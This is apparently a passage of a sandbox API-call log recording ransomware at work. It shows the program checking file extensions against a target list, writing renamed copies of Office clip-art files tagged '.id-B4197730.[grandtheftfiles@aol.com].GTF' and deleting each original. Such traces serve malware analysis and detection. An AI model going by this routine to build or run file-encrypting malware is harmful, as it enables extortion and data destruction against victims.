	[0088.791] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.791] lstrlenW (lpString=".xls") returned 4
	[0088.791] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.791] lstrlenW (lpString=".xlsx") returned 5
	[0088.791] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.791] lstrlenW (lpString=".ppt") returned 4
	[0088.791] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0088.791] lstrlenW (lpString=".zip") returned 4
	[0088.791] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.791] lstrlenW (lpString=".rar") returned 4
	[0088.792] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.792] lstrlenW (lpString=".bz2") returned 4
	[0088.792] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.792] lstrlenW (lpString=".7z") returned 3
	[0088.792] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0088.792] lstrlenW (lpString=".dbf") returned 4
	[0088.792] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0088.792] lstrlenW (lpString=".1cd") returned 4
	[0088.792] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0088.792] lstrlenW (lpString=".jpg") returned 4
	[0088.792] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.792] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.792] lstrlenW (lpString="HH00612_.WMF") returned 12
	[0088.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0088.920] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=12632) returned 1
	[0088.922] CloseHandle (hObject=0x37c) returned 1
	[0088.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 0x220
	[0088.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0088.987] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.987] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0088.988] GetLastError () returned 0x0
	[0088.988] ReadFile (in: hFile=0x368, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x3158, lpOverlapped=0x0) returned 1
	[0088.993] WriteFile (in: hFile=0x334, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x3160, lpOverlapped=0x0) returned 1
	[0088.994] ReadFile (in: hFile=0x368, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.994] WriteFile (in: hFile=0x334, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.994] SetEndOfFile (hFile=0x334) returned 1
	[0088.994] CloseHandle (hObject=0x334) returned 1
	[0088.994] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.994] SetEndOfFile (hFile=0x368) returned 1
	[0088.995] CloseHandle (hObject=0x368) returned 1
	[0088.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.995] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 1
	[0088.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0088.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0088.996] lstrlenW (lpString=".doc") returned 4
	[0088.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.996] lstrlenW (lpString=".docx") returned 5
	[0088.996] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.996] lstrlenW (lpString=".pdf") returned 4
	[0088.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.996] lstrlenW (lpString=".xls") returned 4
	[0088.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.996] lstrlenW (lpString=".xlsx") returned 5
	[0088.996] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.996] lstrlenW (lpString=".ppt") returned 4
	[0088.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0088.996] lstrlenW (lpString=".zip") returned 4
	[0088.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.996] lstrlenW (lpString=".rar") returned 4
	[0088.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.996] lstrlenW (lpString=".bz2") returned 4
	[0088.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.996] lstrlenW (lpString=".7z") returned 3
	[0088.996] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0088.997] lstrlenW (lpString=".dbf") returned 4
	[0088.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0088.997] lstrlenW (lpString=".1cd") returned 4
	[0088.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0088.997] lstrlenW (lpString=".jpg") returned 4
	[0088.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0088.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0088.997] lstrlenW (lpString=".doc") returned 4
	[0088.997] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.997] lstrlenW (lpString=".docx") returned 5
	[0088.997] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.997] lstrlenW (lpString=".pdf") returned 4
	[0088.997] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.997] lstrlenW (lpString=".xls") returned 4
	[0088.997] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.997] lstrlenW (lpString=".xlsx") returned 5
	[0088.997] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.997] lstrlenW (lpString=".ppt") returned 4
	[0088.997] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0088.997] lstrlenW (lpString=".zip") returned 4
	[0088.997] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.997] lstrlenW (lpString=".rar") returned 4
	[0088.997] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.997] lstrlenW (lpString=".bz2") returned 4
	[0088.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.997] lstrlenW (lpString=".7z") returned 3
	[0088.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0088.997] lstrlenW (lpString=".dbf") returned 4
	[0088.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0088.997] lstrlenW (lpString=".1cd") returned 4
	[0088.998] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0088.998] lstrlenW (lpString=".jpg") returned 4
	[0088.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.998] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.998] lstrlenW (lpString="HH00685_.WMF") returned 12
	[0088.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0088.998] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=4032) returned 1
	[0088.998] CloseHandle (hObject=0x368) returned 1
	[0088.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 0x220
	[0088.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0088.998] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.998] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0088.999] GetLastError () returned 0x0
	[0088.999] ReadFile (in: hFile=0x368, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xfc0, lpOverlapped=0x0) returned 1
	[0089.000] WriteFile (in: hFile=0x334, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xfd0, lpOverlapped=0x0) returned 1
	[0089.001] ReadFile (in: hFile=0x368, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.001] WriteFile (in: hFile=0x334, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.001] SetEndOfFile (hFile=0x334) returned 1
	[0089.002] CloseHandle (hObject=0x334) returned 1
	[0089.002] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.002] SetEndOfFile (hFile=0x368) returned 1
	[0089.003] CloseHandle (hObject=0x368) returned 1
	[0089.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.003] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 1
	[0089.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0089.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0089.003] lstrlenW (lpString=".doc") returned 4
	[0089.003] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.003] lstrlenW (lpString=".docx") returned 5
	[0089.003] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.003] lstrlenW (lpString=".pdf") returned 4
	[0089.003] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.003] lstrlenW (lpString=".xls") returned 4
	[0089.003] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.003] lstrlenW (lpString=".xlsx") returned 5
	[0089.003] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.003] lstrlenW (lpString=".ppt") returned 4
	[0089.003] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0089.004] lstrlenW (lpString=".zip") returned 4
	[0089.004] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.004] lstrlenW (lpString=".rar") returned 4
	[0089.004] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.004] lstrlenW (lpString=".bz2") returned 4
	[0089.004] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.004] lstrlenW (lpString=".7z") returned 3
	[0089.004] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0089.004] lstrlenW (lpString=".dbf") returned 4
	[0089.004] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0089.004] lstrlenW (lpString=".1cd") returned 4
	[0089.004] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0089.004] lstrlenW (lpString=".jpg") returned 4
	[0089.004] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0089.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0089.004] lstrlenW (lpString=".doc") returned 4
	[0089.004] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.004] lstrlenW (lpString=".docx") returned 5
	[0089.004] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.004] lstrlenW (lpString=".pdf") returned 4
	[0089.004] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.004] lstrlenW (lpString=".xls") returned 4
	[0089.004] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.004] lstrlenW (lpString=".xlsx") returned 5
	[0089.004] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.004] lstrlenW (lpString=".ppt") returned 4
	[0089.004] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0089.004] lstrlenW (lpString=".zip") returned 4
	[0089.004] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.004] lstrlenW (lpString=".rar") returned 4
	[0089.004] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.004] lstrlenW (lpString=".bz2") returned 4
	[0089.005] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.005] lstrlenW (lpString=".7z") returned 3
	[0089.005] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0089.005] lstrlenW (lpString=".dbf") returned 4
	[0089.005] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0089.005] lstrlenW (lpString=".1cd") returned 4
	[0089.005] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68
	[0089.005] lstrlenW (lpString=".jpg") returned 4
	[0089.005] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.005] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.005] lstrlenW (lpString="HH00687_.WMF") returned 12
	[0089.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.005] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=4340) returned 1
	[0089.005] CloseHandle (hObject=0x368) returned 1
	[0089.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 0x220
	[0089.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.006] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.006] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0089.006] GetLastError () returned 0x0
	[0089.006] ReadFile (in: hFile=0x368, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x10f4, lpOverlapped=0x0) returned 1
	[0089.008] WriteFile (in: hFile=0x334, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x1100, lpOverlapped=0x0) returned 1
	[0089.009] ReadFile (in: hFile=0x368, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.009] WriteFile (in: hFile=0x334, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.009] SetEndOfFile (hFile=0x334) returned 1
	[0089.009] CloseHandle (hObject=0x334) returned 1
	[0089.009] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.009] SetEndOfFile (hFile=0x368) returned 1
	[0089.010] CloseHandle (hObject=0x368) returned 1
	[0089.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.010] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 1
	[0089.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0089.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0089.010] lstrlenW (lpString=".doc") returned 4
	[0089.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.010] lstrlenW (lpString=".docx") returned 5
	[0089.010] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.010] lstrlenW (lpString=".pdf") returned 4
	[0089.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.010] lstrlenW (lpString=".xls") returned 4
	[0089.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.011] lstrlenW (lpString=".xlsx") returned 5
	[0089.011] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.011] lstrlenW (lpString=".ppt") returned 4
	[0089.011] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0089.011] lstrlenW (lpString=".zip") returned 4
	[0089.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.011] lstrlenW (lpString=".rar") returned 4
	[0089.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.011] lstrlenW (lpString=".bz2") returned 4
	[0089.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.011] lstrlenW (lpString=".7z") returned 3
	[0089.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0089.011] lstrlenW (lpString=".dbf") returned 4
	[0089.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0089.011] lstrlenW (lpString=".1cd") returned 4
	[0089.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0089.011] lstrlenW (lpString=".jpg") returned 4
	[0089.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0089.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0089.011] lstrlenW (lpString=".doc") returned 4
	[0089.011] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.011] lstrlenW (lpString=".docx") returned 5
